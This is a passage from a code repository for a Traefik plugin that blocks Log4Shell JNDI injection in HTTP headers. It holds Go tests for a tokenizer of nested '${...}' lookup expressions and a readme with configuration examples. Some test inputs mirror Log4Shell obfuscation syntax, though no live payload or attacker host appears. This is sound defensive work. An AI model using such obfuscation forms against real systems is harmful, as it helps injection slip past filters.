"a${b:c${e:f}g}d", 135 | expected: []*Token{ 136 | {Type: "CONTENT", Pos: 0, Value: "a"}, 137 | {Type: "START", Pos: 1, Value: "${"}, 138 | {Type: "CONTENT", Pos: 3, Value: "b"}, 139 | {Type: "SEP", Pos: 4, Value: ":"}, 140 | {Type: "CONTENT", Pos: 5, Value: "c"}, 141 | {Type: "START", Pos: 6, Value: "${"}, 142 | {Type: "CONTENT", Pos: 8, Value: "e"}, 143 | {Type: "SEP", Pos: 9, Value: ":"}, 144 | {Type: "CONTENT", Pos: 10, Value: "f"}, 145 | {Type: "END", Pos: 11, Value: "}"}, 146 | {Type: "CONTENT", Pos: 12, Value: "g"}, 147 | {Type: "END", Pos: 13, Value: "}"}, 148 | {Type: "CONTENT", Pos: 14, Value: "d"}, 149 | }, 150 | }, 151 | { 152 | expression: "a${b${e:f}g:c}d", 153 | expected: []*Token{ 154 | {Type: "CONTENT", Pos: 0, Value: "a"}, 155 | {Type: "START", Pos: 1, Value: "${"}, 156 | {Type: "CONTENT", Pos: 3, Value: "b"}, 157 | {Type: "START", Pos: 4, Value: "${"}, 158 | {Type: "CONTENT", Pos: 6, Value: "e"}, 159 | {Type: "SEP", Pos: 7, Value: ":"}, 160 | {Type: "CONTENT", Pos: 8, Value: "f"}, 161 | {Type: "END", Pos: 9, Value: "}"}, 162 | {Type: "CONTENT", Pos: 10, Value: "g"}, 163 | {Type: "SEP", Pos: 11, Value: ":"}, 164 | {Type: "CONTENT", Pos: 12, Value: "c"}, 165 | {Type: "END", Pos: 13, Value: "}"}, 166 | {Type: "CONTENT", Pos: 14, Value: "d"}, 167 | }, 168 | }, 169 | { 170 | expression: "q${::b${c:d}e}${z:y:-j}", 171 | expected: []*Token{ 172 | {Type: "CONTENT", Pos: 0, Value: "q"}, 173 | {Type: "START", Pos: 1, Value: "${"}, 174 | {Type: "SEP", Pos: 3, Value: ":"}, 175 | {Type: "SEP", Pos: 4, Value: ":"}, 176 | {Type: "CONTENT", Pos: 5, Value: "b"}, 177 | {Type: "START", Pos: 6, Value: "${"}, 178 | {Type: "CONTENT", Pos: 8, Value: "c"}, 179 | {Type: "SEP", Pos: 9, Value: ":"}, 180 | {Type: "CONTENT", Pos: 10, Value: "d"}, 181 | {Type: "END", Pos: 11, Value: "}"}, 182 | {Type: "CONTENT", Pos: 12, Value: "e"}, 183 | {Type: "END", Pos: 13, Value: "}"}, 184 | {Type: "START", Pos: 14, Value: "${"}, 185 | {Type: "CONTENT", Pos: 16, Value: "z"}, 186 | {Type: "SEP", Pos: 17, Value: ":"}, 187 | {Type: "CONTENT", Pos: 18, Value: "y"}, 188 | {Type: "SEP", Pos: 19, Value: ":-"}, 189 | {Type: "CONTENT", Pos: 21, Value: "j"}, 190 | {Type: "END", Pos: 22, Value: "}"}, 191 | }, 192 | }, 193 | { 194 | expression: "${b${e${g:h}:f}:c}", 195 | expected: []*Token{ 196 | {Type: "START", Pos: 0, Value: "${"}, 197 | {Type: "CONTENT", Pos: 2, Value: "b"}, 198 | {Type: "START", Pos: 3, Value: "${"}, 199 | {Type: "CONTENT", Pos: 5, Value: "e"}, 200 | {Type: "START", Pos: 6, Value: "${"}, 201 | {Type: "CONTENT", Pos: 8, Value: "g"}, 202 | {Type: "SEP", Pos: 9, Value: ":"}, 203 | {Type: "CONTENT", Pos: 10, Value: "h"}, 204 | {Type: "END", Pos: 11, Value: "}"}, 205 | {Type: "SEP", Pos: 12, Value: ":"}, 206 | {Type: "CONTENT", Pos: 13, Value: "f"}, 207 | {Type: "END", Pos: 14, Value: "}"}, 208 | {Type: "SEP", Pos: 15, Value: ":"}, 209 | {Type: "CONTENT", Pos: 16, Value: "c"}, 210 | {Type: "END", Pos: 17, Value: "}"}, 211 | }, 212 | }, 213 | } 214 | 215 | for _, test := range testCases { 216 | test := test 217 | t.Run(test.expression, func(t *testing.T) { 218 | tokens := tokenize(test.expression) 219 | 220 | if !equalsTokens(test.expected, tokens) { 221 | t.Error("tokens parsing") 222 | 223 | t.Log("got") 224 | for _, token := range tokens { 225 | t.Logf("%#v\n", token) 226 | } 227 | 228 | t.Log("want") 229 | for _, token := range test.expected { 230 | t.Logf("%#v\n", token) 231 | } 232 | } 233 | }) 234 | } 235 | } 236 | 237 | // equalsTokens custom comparison because reflect.DeepEqual doesn't work well with yaegi. 238 | func equalsTokens(a, b []*Token) bool { 239 | if len(a) != len(b) { 240 | return false 241 | } 242 | 243 | for i, token := range a { 244 | if (token == nil && b[i] != nil) || (token != nil && b[i] == nil) { 245 | return false 246 | } 247 | 248 | if token == nil { 249 | continue 250 | } 251 | 252 | if token.Type != b[i].Type { 253 | return false 254 | } 255 | 256 | if token.Value != b[i].Value { 257 | return false 258 | } 259 | 260 | if token.Pos != b[i].Pos { 261 | return false 262 | } 263 | } 264 | 265 | return true 266 | } 267 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # Log4Shell Mitigation 2 | 3 | [![Build Status](https://github.com/traefik/plugin-log4shell/workflows/Main/badge.svg?branch=master)](https://github.com/traefik/plugin-log4shell/actions) 4 | 5 | Log4Shell is a middleware plugin for [Traefik](https://github.com/traefik/traefik) which blocks JNDI attacks based on HTTP header values. 6 | 7 | Related to the Log4J CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228 8 | 9 | ## Configuration 10 | 11 | Requirements: Traefik >= v2.5.5 12 | 13 | ### Static 14 | 15 | ```bash 16 | --pilot.token=xxx 17 | --experimental.plugins.log4shell.modulename=github.com/traefik/plugin-log4shell 18 | --experimental.plugins.log4shell.version=v0.1.2 19 | ``` 20 | 21 | ```yaml 22 | pilot: 23 | token: xxx 24 | 25 | experimental: 26 | plugins: 27 | log4shell: 28 | modulename: github.com/traefik/plugin-log4shell 29 | version: v0.1.2 30 | ``` 31 | 32 | ```toml 33 | [pilot] 34 | token = "xxx" 35 | 36 | [experimental.plugins.log4shell] 37 | modulename = "github.com/traefik/plugin-log4shell" 38 | version = "v0.1.2" 39 | ``` 40 | 41 | ### Dynamic 42 | 43 | To configure the `Log4Shell` plugin you should create a [middleware](https://docs.traefik.io/middlewares/overview/) in your dynamic configuration as explained [here](https://docs.traefik.io/middlewares/overview/). 44 | 45 | #### File 46 | 47 | ```yaml 48 | http: 49 | middlewares: 50 | log4shell-foo: 51 | plugin: 52 | log4shell: 53 | errorCode: 200 54 | 55 | routers: 56 | my-router: 57 | rule: Host(`localhost`) 58 | middlewares: 59 | - log4shell-foo 60 | service: my-service 61 | 62 | services: 63 | my-service: 64 | loadBalancer: 65 | servers: 66 | - url: 'http://127.0.0.1' 67 | ``` 68 | 69 | ```toml 70 | [http.middlewares] 71 | [http.middlewares.log4shell-foo.plugin.log4shell] 72 | errorCode = 200 73 | 74 | [http.routers] 75 | [http.routers.my-router] 76 | rule = "Host(`localhost`)" 77 | middlewares = ["log4shell-foo"] 78 | service = "my-service" 79 | 80 | [http.services] 81 | [http.services.my-service] 82 | [http.services.my-service.loadBalancer] 83 | [[http.services.my-service.loadBalancer.servers]] 84 | url = "http://127.0.0.1" 85 | ``` 86 | 87 | #### Kubernetes 88 | 89 | ```yaml 90 | --- 91 | apiVersion: traefik.containo.us/v1alpha1 92 | kind: Middleware 93 | metadata: 94 | name: log4shell-foo 95 | spec: 96 | plugin: 97 | log4shell: 98 | errorCode: 200 99 | 100 | --- 101 | apiVersion: traefik.containo.us/v1alpha1 102 | kind: IngressRoute 103 | metadata: 104 | name: whoami 105 | spec: 106 | entryPoints: 107 | - web 108 | routes: 109 | - kind: Rule 110 | match: Host(`whoami.localhost`) 111 | middlewares: 112 | - name: log4shell-foo 113 | services: 114 | - kind: Service 115 | name: whoami-svc 116 | port: 80 117 | ``` 118 | 119 | ```yaml 120 | --- 121 | apiVersion: traefik.containo.us/v1alpha1 122 | kind: Middleware 123 | metadata: 124 | name: log4shell-foo 125 | spec: 126 | plugin: 127 | log4shell: 128 | errorCode: 200 129 | 130 | --- 131 | apiVersion: networking.k8s.io/v1 132 | kind: Ingress 133 | metadata: 134 | name: myingress 135 | annotations: 136 | traefik.ingress.kubernetes.io/router.middlewares: default-log4shell-foo@kubernetescrd 137 | 138 | spec: 139 | rules: 140 | - host: whoami.localhost 141 | http: 142 | paths: 143 | - path: / 144 | pathType: Prefix 145 | backend: 146 | service: 147 | name: whoami 148 | port: 149 | number: 80 150 | ``` 151 | 152 | #### Docker 153 | 154 | ```yaml 155 | version: '3.7' 156 | 157 | services: 158 | whoami: 159 | image: traefik/whoami:v1.7.1 160 | labels: 161 | traefik.enable: 'true' 162 | 163 | traefik.http.routers.app.rule: Host(`whoami.localhost`) 164 | traefik.http.routers.app.entrypoints: websecure 165 | traefik.http.routers.app.middlewares: log4shell-foo 166 | 167 | traefik.http.middlewares.log4shell-foo.plugin.log4shell.errorcode: 200 168 | ``` 169 | --------------------------------------------------------------------------------